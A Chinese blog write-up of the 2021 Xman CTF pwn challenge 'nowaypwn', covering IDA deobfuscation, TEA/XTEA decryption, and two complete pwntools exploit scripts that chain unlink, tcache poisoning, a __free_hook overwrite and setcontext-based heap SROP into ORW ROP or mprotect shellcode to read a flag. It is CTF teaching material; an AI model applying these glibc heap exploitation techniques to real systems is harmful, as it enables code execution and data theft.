2021 Xman 排位赛 pwn nowaypwn_yongibaoi-程序员宅基地

技术标签: CTF  

学了不少东西。

在这里插入图片描述

在这里插入图片描述刚开始IDA反编译程序只有这么一点,一共三个函数。
看了看之后很快发现了不对。

在这里插入图片描述旁边显然有一堆函数没有用到。

main函数下面显然也有一堆飘红。
在这里插入图片描述所以肯定作者做了混淆,那怎么改回来?

我们找到一处飘红。用这个来举例。
在这里插入图片描述显然因为retn,后面的程序没法用了。

那我们尝试把retn给nop掉。
在这里插入图片描述然后找到这个函数

在这里插入图片描述
其实这是里面那个加密函数
可以先看看加密函数现在的样子。
在这里插入图片描述然后我们继续跑到这个函数这里,按U转换为未定义。
在这里插入图片描述
再按C转换为代码。

在这里插入图片描述
最后在这里分析函数。按P
最后你跑到这个函数,会发现变成了这个样子
在这里插入图片描述这才是函数本来的样子。

其他地方也是相同的做法,在main函数后面还有一个这样的混淆。
一会在首位函数也有一个这样的东西。

所以我们看看我们nop好之后的程序原原本本什么样子。

main
在这里插入图片描述
主程序下面多了一个菜单堆。

在这里插入图片描述
c54函数是开了沙箱。
下面要求我们输入正确的秘密才能跳出循环。

我们去看判断条件。
在这里插入图片描述输入的进行加密,要求前八个字节长这样。

加密算法就是我们刚刚实例,反混淆回来的。
在这里插入图片描述最后研究半天,官方说是tea加密,但是我感觉是xtea。

分开来看。
tea加密。
以为很难,但是说来很简单。
内容8字节一组,密钥16字节一组。

加密算法

#include<stdio.h>
void encode(unsigned int* v,unsigned int *k)
{
    
    unsigned int l=v[0],r=v[1];
    unsigned int k0=k[0],k1=k[1],k2=k[2],k3=k[3];
    unsigned int delta=0x9e3779b9;
    int i;
    unsigned int sum=0;
    for(i=0;i<32;i++)          //核心加密算法,建议32轮,最低16轮
    {
    
        sum+=delta;
        l+=((r<<4)+k0)^(r+sum)^((r>>5)+k1);     //r<<4/r*16
        r+=((l<<4)+k2)^(l+sum)^((l>>5)+k3);
    }
    v[0]=l;
    v[1]=r;
}
int main()
{
    
    unsigned int a[2]={
    1,2}; //明文,必须是8字节的倍数,不够需要程序补全,参考base64方法
    unsigned int k[4]={
    2,2,3,4};//密钥随便
    encode(a,k);
    printf("%d %d",a[0],a[1]);
}

就是根据一个delta值,每四个一组,然后循环起来。

解密算法就是直接倒过来就可以了。

  uint32_t v0=v[0], v1=v[1], sum=0xC6EF3720, i;  //由加密轮数而算出
    uint32_t delta=0x9e3779b9;                     
    uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; 
    for (i=0; i<32; i++) {
                                        //核心解密算法
        v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
        v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
        sum -= delta;
    }                                           
    v[0]=v0; v[1]=v1;

xtea是tea的升级版,增加了更多的密钥表,移位和异或操作等等

#include <stdio.h>
#include <stdint.h>
 
/* take 64 bits of data in v[0] and v[1] and 128 bits of key[0] - key[3] */
 
void encipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
    
    unsigned int i;
    uint32_t v0=v[0], v1=v[1], sum=0, delta=0x9E3779B9;
    for (i=0; i < num_rounds; i++) {
    
        v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
        sum += delta;
        v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);
    }
    v[0]=v0; v[1]=v1;
}
 
void decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) {
    
    unsigned int i;
    uint32_t v0=v[0], v1=v[1], delta=0x9E3779B9, sum=delta*num_rounds;
    for (i=0; i < num_rounds; i++) {
    
        v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]);
        sum -= delta;
        v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
    }
    v[0]=v0; v[1]=v1;
}
 
int main()
{
    
    uint32_t v[2]={
    1,2};
    uint32_t const k[4]={
    2,2,3,4};
    unsigned int r=32;//num_rounds建议取值为32
    // v为要加密的数据是两个32位无符号整数
    // k为加密解密密钥,为4个32位无符号整数,即密钥长度为128位
    printf("加密前原始数据:%u %u\n",v[0],v[1]);
    encipher(r, v, k);
    printf("加密后的数据:%u %u\n",v[0],v[1]);
    decipher(r, v, k);
    printf("解密后的数据:%u %u\n",v[0],v[1]);
    return 0;
}

当然还有xxtea,就不谈了。

所以我们很明显发现,程序长的明明跟xtea最像。

当然我们看程序是减去一个delta,转换过来发现还是标准的xtea的delta值
在这里插入图片描述
所以程序就是一个32轮的标准xtea,换一下delta值,再来16轮。

怎么倒回来解密呢?就把程序加变减,顺序缓缓就好了。

#include <iostream>

/* run this program using the console pauser or add your own getch, system("pause") or input loop */

int main(int argc, char** argv) {
    
  unsigned int a1[2];  
  int i; // [rsp+14h] [rbp-3Ch]
  int j; // [rsp+14h] [rbp-3Ch]
  unsigned int v4; // [rsp+18h] [rbp-38h]
  unsigned int v5; // [rsp+18h] [rbp-38h]
  unsigned int v6; // [rsp+1Ch] [rbp-34h]
  unsigned int v7; // [rsp+1Ch] [rbp-34h]
  unsigned int v8; // [rsp+20h] [rbp-30h]
  unsigned int v9; // [rsp+20h] [rbp-30h]
  unsigned int v10; // [rsp+24h] [rbp-2Ch]
  unsigned int v11; // [rsp+28h] [rbp-28h]
  int v12[6]; // [rsp+30h] [rbp-20h]
  unsigned __int64 v13; // [rsp+48h] [rbp-8h]
  a1[0]=0x105d191e;
  //a1[0]=2587752597;
  a1[1]=0x98e870c8;
  //a1[1]=2997038967;
  v10 = *a1;
  v11 = a1[1];
  v12[0] = 674697780;
  v12[1] = 422065475;
  v12[2] = 423118625;
  v12[3] = -1741216238;
  v4 = *a1;
  v6 = a1[1];
  v8 = 3337565984;
  for ( i = 0; i <= 31; ++i )
  {
    
   v6 -= (((v4 >> 5) ^ (16 * v4)) + v4) ^ (v12[(v8 >> 11) & 3] + v8);
    v8 += 1640531527;
    v4 -= (((v6 >> 5) ^ (16 * v6)) + v6) ^ (v12[v8 & 3] + v8);
  }
  *a1 = v4;
  a1[1] = v6;
  v5 = v10;
  v7 = v11;
  v9 = 1559835033;
  for ( j = 0; j <= 16; ++j )
  {
    
   v7 -= (((v5 >> 5) ^ (16 * v5)) + v5) ^ (v12[(v9 >> 11) & 3] + v9);
    v9 -= 344400137;
    v5 -= (((v7 >> 5) ^ (16 * v7)) + v7) ^ (v12[v9 & 3] + v9);
  }
  *a1 = v5;
  a1[1] = v7;
  printf("%x %x",a1[0],a1[1]);
}

在这里插入图片描述
因为是小端序,所以我们四个字节一组,一个字节一个字节倒过来,发现了secret是useless!

在这里插入图片描述
敲了回车没反应,就对了,因为下面菜单部分没有输出的。

至此就完成了题目的前面一小部分。
下面去看堆题。

首先说开了沙箱,看看白名单。
在这里插入图片描述
就ban了execve。

功能4是add
在这里插入图片描述最多17个chunk,大小不能超过0x200,地址都在bss上。

功能3是delete
在这里插入图片描述放置了double free 跟uaf。

功能1是edit
在这里插入图片描述有个莫名其妙的E2D函数。
在这里插入图片描述他就是一直循环,直到碰到0跟0x11,碰到0x11就把他变成0.

所以会造成一个off by null的漏洞。

功能2是show
在这里插入图片描述show函数只输出八个字节,而且是分开的,我们看一下那个函数。

在这里插入图片描述是个方程,还循环了两次。
解方程我们还得用到z3.

然后我就发现,这个题目剩下的堆的部分跟强网杯的那道babypwn一摸一样,漏洞也好,这个方程也好,长得一摸一样……
2021强网杯 pwn babypwn

可以去看看,z3的用法也在里面。
exp稍微改改就好了。

但是呢,这道题当时是没给libc的,估计他用的是2.27,但是本着学习的态度,想着用libc2.29来做一下。
为啥要用2.29呢,首先我们总结一下那道强网杯2.27的两种做法。

第一种是unlink,申请三个chunk,第一个chunk伪造,第二个chunk来free。
在堆里面做unlink,来造成tcache posining。
第二种就是我们的house of ein。通过overlap,来泄露libc,再攻击free_hook啥的。

2.29之后,首先unlink多了一条检查。
在这里插入图片描述这导致我们的house of ein直接消失,所以我们只能用unlink去做。

第二个问题是啥
2.29之后,setcontext从rdi寻址改成了rdx寻址,这导致我们对setcontext的利用需要做出一定的改变。

当然2.29之后还会有细微的改变,说白了就是从setcontext + 53变成了setcontext + 61.

我们现在来看一下在2.29的环境下怎么去利用setcontext。

首先看一下setcontext在2.29下面长这样
是rdx寻址,我们在2.27中,因为是rdi寻址,所以直接payload写在要free的chunk,然后free过去先执行free_hook的setcontext,因为rdi指向chunk,直接就可以控制,但是2.29的rdx就不好使了。

所以我们解决的方法是找一个合适的gadget来解决这个问题。
我们在free_hook的地方放上这个gadget

mov rdx, qword ptr [rdi + 8]; 
mov qword ptr [rsp], rax; 
call qword ptr [rdx + 0x20];

然后在要free的 [chunkptr+8]+0x20 的位置填上 setcontext+53。

这个gadget通过

ropper --file libc.so.6 --search “mov rdx”

来找
在这里插入图片描述插一句这个ropper的安装装我老半天,网上的教程个个不靠谱。然后我就简单的现身说法。
Ubuntu ropper的安装与使用

那我们回来说用这个gadget达到了一个什么效果。
我们free一个chunk,在这个chunk+8的地方事先写个地址,这个地址+0x20的地方放着setcontext + 53的地址,然后先走free_hook,rdx变成chunk+8的地址,然后call rdx+0x20,也就是我们的setcontext,最后根据rdx,做一个SROP。当然需要始先把SROP的东西写好。

要额外插一句,这个setcontext是干嘛的,我们还记得SROP,在sigreturn返回的时候,我们调用了系统调用,就会跑一段程序,那一段程序就是这个setcontext,所以我们的这个方法又叫堆srop。

那么所以我们写exp的时候其实可以用pwntools的srop模板。
强网杯那道没用,当时还没反应过来可以用……

在我们利用堆SROP的过程中,其实也可以有很多姿势。
我们可以用传统的orw。
但是可以看到这个题目其实在沙箱上面只ban了execve,而不是只允许用orw,所以还可以给出一种布置shellcode的写法。

首先是传统的orw。
通过堆SROP,读入rop,然后跳过去执行。
exp

# -*- coding: utf-8 -*-
from pwn import *
from z3 import*

context.log_level = "debug"
context.arch = "amd64"
context.os = "linux"

p = process("./nowaypwn")

elf = ELF("./nowaypwn")
libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.29-0ubuntu2_amd64/libc.so.6")

def add(size):
    p.sendline('4')
    sleep(0.1)
    p.sendline(str(size))
    sleep(0.1)
    
def edit(idx,content):
    p.sendline('1')
    sleep(0.1)
    p.sendline(str(idx))
    sleep(0.1)
    p.send(content)
    sleep(0.1)

def dele(idx):
    p.sendline('3')
    sleep(0.1)
    p.sendline(str(idx))
    sleep(0.1)	

def show(idx):
    p.sendline('2')
    sleep(0.1)
    p.sendline(str(idx))
    sleep(0.1)

def decrypt(target):
    a = BitVec('a', 32)
    x = a
    for _ in range(2):
            x ^= (32 * x) ^ LShR((x ^ (32 * x)),17) ^ (((32 * x) ^ x ^ LShR((x ^ (32 * x)),17)) << 13)
    s = Solver()
    s.add(x == target)
    if s.check() == sat:
        return (s.model()[a].as_long())

p.sendlineafter("Give me your name:\n", "Yongibaoi")
p.sendlineafter("Give me your key:", "Yongibaoi")
p.sendlineafter("Input your secret!:", "useless!")
sleep(0.1)


add(0xf0)#0
add(0xf0)#1
add(0xf0)#2
dele(1)
dele(0)
add(0xf0)#0
show(0)

p.recv() #非常纳闷,调了一天 发现这里必须有个recv。桌子都快砸碎了。

a1 = decrypt(int(p.recvline()[:-1], 16))
a2 = decrypt(int(p.recvline()[:-1], 16))
heap_addr = (a2 << 32) + a1 -0xda0
print "heap_addr = " + hex(heap_addr)

add(0xf0) #1
add(0xf0) #3
add(0xf0) #4
add(0xf0) #5
add(0xf0) #6
add(0x108)#7
add(0x108)#8
add(0x20) #9

for i in range(7):
    dele(i)

heap = heap_addr + 0xd70
edit(7,'a'*0x108)
edit(7, (p64(heap+0x628)+p64(heap+0x630)+p64(heap+0x620)).ljust(0x100,'\x00')+p64(0x110))
edit(8,'\x00'*0xf0+p64(0)+p64(0x41)+'\n')

dele(8)
show(7)

#p.recv() 这里又不用加…… 人麻了

a1 = decrypt(int(p.recvline()[:-1], 16))
a2 = decrypt(int(p.recvline()[:-1], 16))
malloc_hook = (((a2 << 32) + a1 -0x30) & 0xfffffffffffff000) + (libc.sym['__malloc_hook'] & 0xfff)
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
setcontext = libc_base + libc.sym['setcontext']
print "libc_base = " + hex(libc_base)


for i in range(8):
    add(0xf0)

dele(1)
dele(7)
dele(2)

magic_gadget = libc_base + 0x150550
bss_addr = libc_base + libc.bss()
flag_addr = bss_addr + 0x200

frame = SigreturnFrame()
frame.rsp = bss_addr + 0x8
frame.rdi = 0
frame.rsi = bss_addr
frame.rdx = 0x1000
frame.rip = libc_base + libc.sym['read']

str_frame = str(frame)
print str_frame
print len(str_frame)

pop_rdi = libc_base + 0x26542
pop_rdx_rsi = libc_base + 0x12bdc9
read_addr = libc_base + libc.sym['read']
write_addr = libc_base + libc.sym['write']
open_addr = libc_base + libc.sym['open']
pop_rax = libc_base + 0x47cf8
syscall_addr = libc_base + libc.sym['syscall'] + 23
#这里如果直接用syscall会被前面那一堆乱七八糟把参数改掉,所以要直接用syscall

poc = './flag\x00\x00'

poc += p64(pop_rdi)
poc += p64(bss_addr)
poc += p64(pop_rdx_rsi)
poc += p64(0)
poc += p64(0)
poc += p64(pop_rax)
poc += p64(constants.SYS_open)
poc += p64(syscall_addr)

poc += p64(pop_rdi)
poc += p64(0x3)
poc += p64(pop_rdx_rsi)
poc += p64(0x100)
poc += p64(flag_addr)
poc += p64(read_addr)

poc += p64(pop_rdi)
poc += p64(1)
poc += p64(pop_rdx_rsi)
poc += p64(100)
poc += p64(flag_addr)
poc += p64(write_addr)


edit(8,p64(free_hook)+'\n')
add(0xf0) #1
edit(1, p64(setcontext + 53)  + p64(heap_addr + 0x1080) + str_frame[0x30:] + '\n')
add(0xf0) #2
add(0xf0)#7 free hook
edit(7,p64(magic_gadget)+'\n')

dele(1)

p.sendline(poc)

p.interactive()

下面的是shellcode。
他是通过srop,将free_hook所在的那一页,权限改成rwx。
然后通过shellcode1读入一段更长的shellcode2,然后跳过去执行。
exp

# -*- coding: utf-8 -*-
from pwn import *
from z3 import*

context.log_level = "debug"
context.arch = "amd64"
context.os = "linux"

p = process("./nowaypwn")

elf = ELF("./nowaypwn")
libc = ELF("/home/wuangwuang/glibc-all-in-one-master/glibc-all-in-one-master/libs/2.29-0ubuntu2_amd64/libc.so.6")

def add(size):
    p.sendline('4')
    sleep(0.1)
    p.sendline(str(size))
    sleep(0.1)
    
def edit(idx,content):
    p.sendline('1')
    sleep(0.1)
    p.sendline(str(idx))
    sleep(0.1)
    p.send(content)
    sleep(0.1)

def dele(idx):
    p.sendline('3')
    sleep(0.1)
    p.sendline(str(idx))
    sleep(0.1)	

def show(idx):
    p.sendline('2')
    sleep(0.1)
    p.sendline(str(idx))
    sleep(0.1)

def decrypt(target):
    a = BitVec('a', 32)
    x = a
    for _ in range(2):
            x ^= (32 * x) ^ LShR((x ^ (32 * x)),17) ^ (((32 * x) ^ x ^ LShR((x ^ (32 * x)),17)) << 13)
    s = Solver()
    s.add(x == target)
    if s.check() == sat:
        return (s.model()[a].as_long())

p.sendlineafter("Give me your name:\n", "Yongibaoi")
p.sendlineafter("Give me your key:", "Yongibaoi")
p.sendlineafter("Input your secret!:", "useless!")
sleep(0.1)


add(0xf0)#0
add(0xf0)#1
add(0xf0)#2
dele(1)
dele(0)
add(0xf0)#0
show(0)

p.recv() #非常纳闷,调了一天 发现这里必须有个recv。桌子都快砸碎了。

a1 = decrypt(int(p.recvline()[:-1], 16))
a2 = decrypt(int(p.recvline()[:-1], 16))
heap_addr = (a2 << 32) + a1 -0xda0
print "heap_addr = " + hex(heap_addr)

add(0xf0) #1
add(0xf0) #3
add(0xf0) #4
add(0xf0) #5
add(0xf0) #6
add(0x108)#7
add(0x108)#8
add(0x20) #9

for i in range(7):
    dele(i)

heap = heap_addr + 0xd70
edit(7,'a'*0x108)
edit(7, (p64(heap+0x628)+p64(heap+0x630)+p64(heap+0x620)).ljust(0x100,'\x00')+p64(0x110))
edit(8,'\x00'*0xf0+p64(0)+p64(0x41)+'\n')

dele(8)
show(7)

#p.recv() 这里又不用加…… 人麻了

a1 = decrypt(int(p.recvline()[:-1], 16))
a2 = decrypt(int(p.recvline()[:-1], 16))
malloc_hook = (((a2 << 32) + a1 -0x30) & 0xfffffffffffff000) + (libc.sym['__malloc_hook'] & 0xfff)
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
setcontext = libc_base + libc.sym['setcontext']
print "libc_base = " + hex(libc_base)


for i in range(8):
    add(0xf0)

dele(1)
dele(7)
dele(2)

#-------------------堆SROP--------------------
magic_gadget = libc_base + 0x150550

new_addr =  free_hook &0xFFFFFFFFFFFFF000
shellcode1 = '''
    xor rdi,rdi
    mov rsi,%d
    mov edx,0x1000

    mov eax,0
    syscall

    jmp rsi
    ''' % new_addr

frame = SigreturnFrame()
frame.rsp = free_hook+0x10
frame.rdi = new_addr
frame.rsi = 0x1000
frame.rdx = 7
frame.rip = libc_base + libc.sym['mprotect']

shellcode2 = '''
    mov rax, 0x67616c662f2e ;// ./flag
    push rax

    mov rdi, rsp ;// /flag
    mov rsi, 0 ;// O_RDONLY
    xor rdx, rdx ;
    mov rax, 2 ;// SYS_open
    syscall

    mov rdi, rax ;// fd 
    mov rsi,rsp  ;
    mov rdx, 1024 ;// nbytes
    mov rax,0 ;// SYS_read
    syscall

    mov rdi, 1 ;// fd 
    mov rsi, rsp ;// buf
    mov rdx, rax ;// count 
    mov rax, 1 ;// SYS_write
    syscall

    mov rdi, 0 ;// error_code
    mov rax, 60
    syscall
    '''

str_frame = str(frame)
print str_frame
print len(str_frame)
#---------------------------准备完毕---------------------------------

edit(8,p64(free_hook)+'\n')
add(0xf0) #1
edit(1, p64(setcontext + 53)  + p64(heap_addr + 0x1080) + str_frame[0x30:] + '\n')
add(0xf0) #2
add(0xf0)#7 free hook
edit(7,p64(magic_gadget)+p64(free_hook+0x18)*2+asm(shellcode1)+'\n')


dele(1)

p.sendline(asm(shellcode2))

p.interactive()
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/yongbaoii/article/details/119607954

智能推荐

TSP问题-程序员宅基地

文章浏览阅读1.7w次,点赞17次,收藏86次。前言TSP问题是广为人知的组合优化问题,它易于描述,但是难以求解。基于TSP问题的特性,决定使用通过TSP问题来学习各类启发算法,比较不同启发算法在旅行商问题上的表现。问题TSP问题可以描述为:现有一些节点,节点和节点之间均可相连形成边,节点之间的边存在距离,需要找到一个遍历方案先后访问所有的点,使的遍历的总距离最短。模型旅行商问题可以建模为一个纯整数规划模型:目标函数最小化总距离,约束1-2保证每个节点都能进出一次,约束3保证不会出现多个圈,约束4-5保证便利顺序属于0~n-1,约束6-_tsp问题

OpenCV从入门到放弃(四):HighGui组件细讲_highgui.imshow-程序员宅基地

文章浏览阅读1.3w次,点赞5次,收藏19次。Opencv中图片读取显示写入细节._highgui.imshow

node 17_export n0de_0 ptions=:-openssl-legacy-provider;-程序员宅基地

文章浏览阅读468次。export NODE_OPTIONS=--openssl-legacy-provider_export n0de_0 ptions=:-openssl-legacy-provider;

iServer GPA模型在实际场景中的使用——倾斜摄影处理成3DTiles数据-程序员宅基地

文章浏览阅读150次。在上一篇博客iServer GPA模型在实际场景中的使用——实现导入shp数据并切瓦片存储到MongoDB数据库发布服务,我们了解到了在iServer10.2.1版本如何使用GPA处理自动化服务实现相应的功能;随着iServer产品版本的更新,GPA处理自动化服务也升级优化了建模页面UI、模型执行进度信息以及帮助提示等内容;那么接下来我们就使用当前iServer最新版11.1.1a版本的GPA处理自动化服务,为大家演示关于如何实现“将倾斜摄影OSGB数据处理成3DTiles。_gpa模型

基于微信小程序ssm的童装商城网站的设计与实现+后台管理系统-程序员宅基地

文章浏览阅读438次,点赞15次,收藏8次。本系统的功能为科普知识管理、知识分类管理、案例分析管理、用户管理、反馈交流管理、答题管理等。《基于微信小程序ssm的童装商城网站的设计与实现》该项目含有源码、文档等资料、配套开发软件、软件安装教程、项目发布教程等。系统功能完整,适合作为毕业设计、课程设计、数据库大作业 参考 以及学习商用皆可。前端技术:JavaScript、VUE.js(2.X)、css3。开发软件:eclipse/myeclipse/idea。数据库工具:Navicat11。开发语言:Java、小程序。数据库:mysql 5.7。

CNN-BIGRU-SAM-Attention多特征分类预测,基于卷积神经网络-双向门控循环单元-空间注意力机制多特征分类预测-程序员宅基地

文章浏览阅读394次,点赞12次,收藏11次。CNN-BIGRU-SAM-Attention多特征分类预测,基于卷积神经网络-双向门控循环单元-空间注意力机制多特征分类预测

随便推点

LaTeX最全总结_latex csdn-程序员宅基地

文章浏览阅读875次,点赞4次,收藏8次。LaTeX的语法进行超全总结_latex csdn

山景BP1048 烧录器烧写_bp1048b2烧录程序下载-程序员宅基地

文章浏览阅读450次。山景BP1048 烧录器烧写_bp1048b2烧录程序下载

OpenCV-Python中的图像处理-图像直方图_pyhon opencv 获取图像直方图-程序员宅基地

文章浏览阅读1.3k次。所 以 对 于 一 维 直 方 图, 我 们 最 好 使 用 这 个函 >数。使 用 np.bincount 时 别 忘 了 设 置 minlength=256。#别忘了中括号 [img],[0],None,[256],[0,256],只有 mask 没有中括号。Numpy 还 有 一 个 函 数 np.bincount(), 它 的 运 行 速 度 是。hist 是一个 256x1 的数组,每一个值代表了与次灰度值对应的像素点数目。#img.ravel() 将图像转成一维数组,这里没有中括号。_pyhon opencv 获取图像直方图

201671030106何启芝 实验三作业互评与改进报告-程序员宅基地

文章浏览阅读86次。项目内容这个作业属于哪个课程2016级计算机科学与工程学院软件工程(西北师范大学)这个作业的要求在哪里实验三 作业互评与改进我们在这个课程的目标是1.学习规范的博文(文档)写作2.理解软件工程各阶段文档的作用与意义,了解软件工程文档的国家标准及其规范任务一:1.2019春季计算机学院软件工程(罗杰)(北京航空航天大学)链接地址:https://www..._软件工程何启芝

程序员练级攻略(转自coolshell 陈皓)_陈浩 coolshell-程序员宅基地

文章浏览阅读1.1k次,点赞2次,收藏8次。前言你是否觉得自己从学校毕业的时候只做过小玩具一样的程序?走入职场后哪怕没有什么经验也可以把以下这些课外练习走一遍(朋友的抱怨:学校课程总是从理论出发,作业项目都看不出有什么实际作用,不如从工作中的需求出发)建议:不要乱买书,不要乱追新技术新名词,基础的东西经过很长时间积累而且还会在未来至少10年通用。回顾一下历史,看看历史上时间线上技术的发展,你才能明白明天会是什么样。一_陈浩 coolshell

Airtest从入门到放弃?不要急,这份免费的“超长”攻略请收好!_airtest官网-程序员宅基地

文章浏览阅读1.4k次,点赞5次,收藏12次。此文章来源于项目官方公众号:“AirtestProject”版权声明:允许转载,但转载必须保留原链接;请勿用作商业或者非法用途前言不知道你有没有遇到这种情况?在刚接触我们的Airtest项目的时候,总是兴致满满、斗志昂扬;但使用一段时间后,却总是被“找不到图片”、“连不上设备”、“录制的脚本不能运行”这些问题劝退。不要着急,今天我们特意跟同学们分享下当年入坑Airtest的经验;希望看完今天这篇攻略,可以让你在入门Airtest的时候少走一些弯路!1.设备连接篇1)连接Android设备A._airtest官网